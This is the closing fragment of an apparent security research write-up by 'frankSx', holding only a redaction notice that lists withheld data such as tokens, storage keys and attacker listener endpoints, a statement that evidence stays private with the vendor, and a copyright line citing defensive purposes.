The following classes of data were redacted from this publication: authentication tokens and JWT values; object storage keys and signed URLs; the internal Kubernetes API endpoint identifier; internal canary/APM header values; attacker listener endpoints; invite/referral codes and user identifiers; reporter contact details. Screenshots and raw evidence artifacts are retained in the researcher's private evidence store and are available to the vendor security team on request.

© 2026 frankSx · Published for defensive/educational purposes.

Comments

Popular Posts